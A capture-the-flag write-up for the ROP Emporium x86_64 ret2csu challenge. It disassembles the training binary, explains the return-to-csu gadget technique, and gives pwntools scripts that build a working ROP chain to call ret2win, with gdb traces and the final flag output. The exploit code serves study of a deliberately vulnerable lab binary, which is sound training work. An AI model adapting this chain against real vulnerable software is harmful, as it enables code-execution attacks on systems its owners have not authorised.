Ropemporium x86_64 ret2csu
ret2csu
Introduction
As an introduction we can read we can read the description in the ropemporium site
Same same, but different
This challenge is very similar to “callme”, with the exception of the useful gadgets. Simply call the ret2win() function in the accompanying library with same arguments that you used to beat the “callme” challenge (ret2win(0xdeadbeef, 0xcafebabe, 0xd00df00d) for the ARM & MIPS binaries, ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) for the x86_64 binary.
Populating the elusive 3rd register using ROP can prove more difficult than you might expect, especially in smaller binaries with fewer gadgets. This can become particularly irksome since many useful GLIBC functions require three arguments. So little room for activities
Start by using ropper to search for sensible gadgets, if there’s no pop rdx for example, perhaps there’s a mov rdx, rbp that you could chain with a pop rbp. If you’re all out of ideas go ahead and read the last paragraph. Universal
Fortunately some very smart people have come up with a solution to your problem and as is customary in infosec given it a collection of pretentious names, including “Universal ROP”, “μROP”, “return-to-csu” or just “ret2csu”. You can learn all you need to on the subject from this BlackHat Asia paper. Note that more recent versions of gcc may use different registers from the example in __libc_csu_init(), including the version that compiled this challenge.
Discovery
Executing program
08_ret2csu$ ./ret2csu
ret2csu by ROP Emporium
x86_64
Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.
> OKOK
Thank you!
Analyse
Looking at the program ret2csu :
[0x004005d0]> pdf @sym.main
; DATA XREF from entry0 @ 0x40053d
┌ 16: int main (int argc, char **argv, char **envp);
│ 0x00400607 55 push rbp
│ 0x00400608 4889e5 mov rbp, rsp
│ 0x0040060b e8f0feffff call sym.imp.pwnme
│ 0x00400610 b800000000 mov eax, 0
│ 0x00400615 5d pop rbp
└ 0x00400616 c3 ret
The main function call an imported pwnme function.
A embeded but not called function call ret2win wit bad parameters
[0x004005d0]> pdf @ sym.usefulFunction
┌ 27: sym.usefulFunction ();
│ 0x00400617 55 push rbp
│ 0x00400618 4889e5 mov rbp, rsp
│ 0x0040061b ba03000000 mov edx, 3
│ 0x00400620 be02000000 mov esi, 2
│ 0x00400625 bf01000000 mov edi, 1
│ 0x0040062a e8e1feffff call sym.imp.ret2win
│ 0x0040062f 90 nop
│ 0x00400630 5d pop rbp
└ 0x00400631 c3 ret
[0x004005e0]> pdf @sym.__libc_csu_init
; DATA XREF from entry0 @ 0x400536
┌ 101: sym.__libc_csu_init (int64_t arg1, int64_t arg2, int64_t arg3);
│ ; arg int64_t arg1 @ rdi
│ ; arg int64_t arg2 @ rsi
│ ; arg int64_t arg3 @ rdx
│ 0x00400640 4157 push r15
│ 0x00400642 4156 push r14
│ 0x00400644 4989d7 mov r15, rdx ; arg3
│ 0x00400647 4155 push r13
│ 0x00400649 4154 push r12
│ 0x0040064b 4c8d259e0720. lea r12, obj.__frame_dummy_init_array_entry ; loc.__init_array_start
│ ; 0x600df0
│ 0x00400652 55 push rbp
│ 0x00400653 488d2d9e0720. lea rbp, obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end
│ ; 0x600df8
│ 0x0040065a 53 push rbx
│ 0x0040065b 4189fd mov r13d, edi ; arg1
│ 0x0040065e 4989f6 mov r14, rsi ; arg2
│ 0x00400661 4c29e5 sub rbp, r12
│ 0x00400664 4883ec08 sub rsp, 8
│ 0x00400668 48c1fd03 sar rbp, 3
│ 0x0040066c e85ffeffff call sym._init
│ 0x00400671 4885ed test rbp, rbp
│ ┌─< 0x00400674 7420 je 0x400696
│ │ 0x00400676 31db xor ebx, ebx
│ │ 0x00400678 0f1f84000000. nop dword [rax + rax]
│ │ ; CODE XREF from sym.__libc_csu_init @ 0x400694
│ ┌──> 0x00400680 4c89fa mov rdx, r15
│ ╎│ 0x00400683 4c89f6 mov rsi, r14
│ ╎│ 0x00400686 4489ef mov edi, r13d
│ ╎│ 0x00400689 41ff14dc call qword [r12 + rbx*8]
│ ╎│ 0x0040068d 4883c301 add rbx, 1
│ ╎│ 0x00400691 4839dd cmp rbp, rbx
│ └──< 0x00400694 75ea jne 0x400680
│ │ ; CODE XREF from sym.__libc_csu_init @ 0x400674
│ └─> 0x00400696 4883c408 add rsp, 8
│ 0x0040069a 5b pop rbx
│ 0x0040069b 5d pop rbp
│ 0x0040069c 415c pop r12
│ 0x0040069e 415d pop r13
│ 0x004006a0 415e pop r14
│ 0x004006a2 415f pop r15
└ 0x004006a4 c3 ret
Building the attack
### Gadgets
Our goal is to call ret2win
with the three fixed arguments.
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; re
but no pop rdx.
with this pseudo gadget :
0x00400680 4c89fa mov rdx, r15
0x00400683 4c89f6 mov rsi, r14
0x00400686 4489ef mov edi, r13d
0x00400689 41ff14dc call qword [r12 + rbx*8]
Calling it call_gadget
we can call : [r12 + rbx*8] and previouslely set r12 and rbx as we want.
And we have a big pop gadget to load p12 untin p15. (pop_gadget
)
Unfortunatly the gadget dont call r12 + rbx8 but [r12 + rbx8].
We need an address containing our target : 0x00400510 (ret2win@plt)
There is no addess ad hoc.
Here is a tricks : find an addresse containing a “ret” gadget address, or relatively neutral gadget.
Its the case of the ._fini function
┌ 9: sym._fini ();
│ 0x004006b4 4883ec08 sub rsp, 8 ; [14] -r-x section size 9 named .fini
│ 0x004006b8 4883c408 add rsp, 8
└ 0x004006bc c3 ret
This function referenced in .DYNAMIC section
[0x00600e00]> pd 10 @ sym..dynamic
;-- section..dynamic:
;-- .dynamic:
0x00600e00 .qword 0x0000000000000001 ; [20] -rw- section size 496 named .dynamic
0x00600e08 .qword 0x0000000000000001
0x00600e10 .qword 0x0000000000000001
0x00600e18 .qword 0x0000000000000038
0x00600e20 .qword 0x000000000000001d
0x00600e28 .qword 0x0000000000000078
0x00600e30 .qword 0x000000000000000c
0x00600e38 .qword 0x00000000004004d0 ; section..init ; sym._init ; sym..init
0x00600e40 .qword 0x000000000000000d
ici ====> 0x00600e48 .qword 0x00000000004006b4 ; section..fini ; sym._fini ; sym..fini
Then , as “r12 + rbx*8” give 0x00600e48 the call will do :
sub rsp, 8
add rsp, 8 : nothing
ret : return in libc_csu_init
Try it withis chaine:
address | gadget | comment |
---|---|---|
0x0040069a | pop gadget | |
0x0 | rbp | |
0x0 | rbp | |
0x0600e48 | r12 : .dynamics + 48 => @.fini | |
0xdeadbeefdeadbeef | r13 | |
0xcafebabecafebabe | r14 | |
0xd00df00dd00df00d | r14 | |
0x00400680 | call_gadget | |
0x00400510 | ret2win@plt |
with this python script we cat try it :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break a le fin de pwnme
gs='''
b *pwnme+150
c
'''
# Set up pwntools for the correct architecture
elf = ELF('ret2csu')
context.binary=elf
# Offset avant ecrasement de l'adresse de retour
offset=0x28
ret2win=elf.plt['ret2win']
g_poprdi=0x004006a3
gadget_1=0x0040069a
gadget_2=0x00400680
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
PL =b"A"*offset
PL+=p64(gadget_1)
PL+=p64(0x0) # rbx
PL+=p64(0x0) # rbp
PL+=p64(0x0600e48) # r12 = .dynamic+48
PL+=p64(0xdeadbeefdeadbeef) # r13
PL+=p64(0xcafebabecafebabe) # r14
PL+=p64(0xd00df00dd00df00d) # r15
PL+=p64(gadget_2)
io.sendline(PL)
io.interactive()
Breaking in gdb in *pwnme + 150.
Then type “ni 22” to execute 22 instructions
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fff8359e398│+0x0000: 0x0000000000000a ("\n"?) ← $rsp
0x007fff8359e3a0│+0x0008: 0x0000000000000000
0x007fff8359e3a8│+0x0010: 0x0000000000000000
0x007fff8359e3b0│+0x0018: 0x5af722b7590cce05
0x007fff8359e3b8│+0x0020: 0x58f4469f064ace05
0x007fff8359e3c0│+0x0028: 0x0000000000000000
0x007fff8359e3c8│+0x0030: 0x0000000000000000
0x007fff8359e3d0│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400680 <__libc_csu_init+64> mov rdx, r15
0x400683 <__libc_csu_init+67> mov rsi, r14
0x400686 <__libc_csu_init+70> mov edi, r13d
→ 0x400689 <__libc_csu_init+73> call QWORD PTR [r12+rbx*8]
0x40068d <__libc_csu_init+77> add rbx, 0x1
0x400691 <__libc_csu_init+81> cmp rbp, rbx
0x400694 <__libc_csu_init+84> jne 0x400680 <__libc_csu_init+64>
0x400696 <__libc_csu_init+86> add rsp, 0x8
0x40069a <__libc_csu_init+90> pop rbx
────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[r12+rbx*8] (
$rdi = 0x000000deadbeef,
$rsi = 0xcafebabecafebabe,
$rdx = 0xd00df00dd00df00d
)
Damned ! rdi is not completely loaded by mov edi, r13d
ni again :
We have to execute correctly the end of the csu_init function :
│ ╎│ 0x0040068d 4883c301 add rbx, 1
│ ╎│ 0x00400691 4839dd cmp rbp, rbx
│ └──< 0x00400694 75ea jne 0x400680
│ └─> 0x00400696 4883c408 add rsp, 8
│ 0x0040069a 5b pop rbx
│ 0x0040069b 5d pop rbp
│ 0x0040069c 415c pop r12
│ 0x0040069e 415d pop r13
│ 0x004006a0 415e pop r14
│ 0x004006a2 415f pop r15
└ 0x004006a4 c3 ret
But it’snt all folks !. We have to finish the function csu_init to continue our ropchain.
- There is a bad jump to 0x400680 if rpb != rbp+1 We will set rbx=0 and rbp=1
- rsp is incremented by one word. We will put a junk entry on the stack
- We need 6 values on the stack before the final ret
- Add a pop rdi gadget for a complete value.
- ret2win !
address | gadget | comment |
---|---|---|
0x0040069a | pop rbx; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x0 | rbx set to 0 for nex line | |
0x1 | rbp set the condition rbp == rbx + 1 | |
0x0600e48 | r12 set to .dynamics + 48 => @.fini | |
0xdeadbeefdeadbeef | r13 | |
0xcafebabecafebabe | r14 | |
0xd00df00dd00df00d | r15 | |
0x00400680 | mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8] | call gadget |
0 | junk for add rsp,8 | |
1 | for pop rbx | |
2 | pop rbp | |
3 | pop r12 | |
4 | pop r13 | |
5 | pop r14 | |
6 | pop r15 | |
0x004006a3 | pop rdi | argument |
0xdeadbeefdeadbeef | rdi | |
0x00400510 | ret2win@plt | finale call |
The python script :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break a le fin de pwnme
gs='''
b *pwnme+150
b *ret2win
c
'''
# Set up pwntools for the correct architecture
elf = ELF('ret2csu')
context.binary=elf
# context(terminal=['tmux'])
# Offset avant ecrasement de l'adresse de retour
offset=0x28
ret2win=elf.plt['ret2win']
dynamic_s = elf.get_section_by_name('.dynamic').header['sh_addr']
# Gadgets
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]
call_gadget=0x00400680
#
#0x000000000040069a : pop rbx; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pops_gadget=0x0040069a
g_poprdi=0x004006a3
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
# io.recvuntil(b"> ")
log.info(f".fini entry : 0x{dynamic_s+0x48:x}")
PL =b"A"*offset
PL+=p64(pops_gadget)
PL+=p64(0) # rbx = 0
PL+=p64(1) # rbp == rbx + 1
PL+=p64(dynamic_s+0x48) # r12 .dynamics+48
PL+=p64(0xdeadbeefdeadbeef) # r13
PL+=p64(0xcafebabecafebabe) # r14
PL+=p64(0xd00df00dd00df00d) # r15
PL+=p64(call_gadget)
PL+=p64(0)
PL+=p64(1)
PL+=p64(2)
PL+=p64(3)
PL+=p64(4)
PL+=p64(5)
PL+=p64(6)
PL+=p64(g_poprdi) # fix rdi
PL+=p64(0xdeadbeefdeadbeef)
PL+=p64(ret2win)
io.sendline(PL)
io.interactive()
script execution
Use it first in debug mode in gdb ( -d ).
Ther is an initial break point in *pwnme+150 at the end of the function and a second bp on ret2win start
Then follow the rop with ni or contiue instructions.
Else, executign or script without debug :
08_ret2csu# python3 solve.py
[*] '/w/ropemporium/x64/08_ret2csu/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process '/w/ropemporium/x64/08_ret2csu/ret2csu': pid 175
[*] Switching to interactive mode
[*] Process '/w/ropemporium/x64/08_ret2csu/ret2csu' stopped with exit code 0 (pid 175)
ret2csu by ROP Emporium
x86_64
Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive